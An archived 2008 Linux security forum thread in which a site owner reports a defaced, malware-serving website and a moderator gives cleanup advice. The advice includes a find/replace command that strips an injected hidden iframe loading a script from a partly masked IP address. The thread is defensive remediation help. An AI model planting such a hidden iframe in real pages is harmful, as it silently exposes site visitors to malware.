Linux Security Forum
 
 

Go Back   Linux Security Forum > Security Forums > Web Site Security

Notices

Web Site Security This forum is for specific web site security issues. Issues with 3rd party scripts, web site comprimises, etc.

Reply
 
Thread Tools
  #1  
Old 08-18-2008
XenMaster XenMaster is offline
Newbie
 
Join Date: Aug 2008
Posts: 5
Rep Power: 0
XenMaster is on a distinguished road
Angry My website has been hacked!!

My website has been hacked!! My home page was defaced and every php, html, and htm page downloads a JavaScript virus. Plus my hosting company just shut me down because they said I am sending spam, which I'm not!

How can I get my site back up.
Reply With Quote
  #2  
Old 08-21-2008
drendeah drendeah is offline
Super Moderator
 
Join Date: Jul 2008
Posts: 294
Blog Entries: 1
Rep Power: 101
drendeah has a reputation beyond reputedrendeah has a reputation beyond reputedrendeah has a reputation beyond reputedrendeah has a reputation beyond reputedrendeah has a reputation beyond reputedrendeah has a reputation beyond reputedrendeah has a reputation beyond reputedrendeah has a reputation beyond reputedrendeah has a reputation beyond reputedrendeah has a reputation beyond reputedrendeah has a reputation beyond repute
Default Re: My website has been hacked!!

Do you know if any other sites on the server you are on got hacked as well?

If so it could mean that hosting company has bad security and the hacker got root access.

If it was just your site then it means you probably have either a vulnerable script or a hacker got your password.

To get rid of the iframe you can do a Unix search and replace, the command will look something like this:
Code:
find ./ -name "*.php" -exec replace '<iframe src="http://67.xx.xx.xx/alt.php" width=1 height=1 style="visibility: hidden;"></iframe>' "" -- '{}' \;
Its also likely the hacker uploaded a php shell backdoor and files that are used to send the spam.

If you are running 3rd party scripts on the site like phpBB or Joomla and are not sure if you have the latest version you can tell you hosting company that believe a 3rd party script you are using has a vulnerability and if they get your site backup you will take care of the issue immediately. If they are hesitant to do that, you might want to ask them to 1. remove your entry form httpd.conf so the site is not accessable on the web, and 2. change you password and possibly your username too so the hacker can't get back in, or access your site via the IP and username. Generally the hosting company will work with you and there may be a nominal fee to get the account back up.
Reply With Quote
Sponsored Links
Reply

Bookmarks

Tags
hacked!!, website

Thread Tools

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Forum Jump


All times are GMT -5. The time now is 01:41 PM.


Powered by vBulletin® Version 3.7.2
Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
Advertisement System V2.3 By   Branden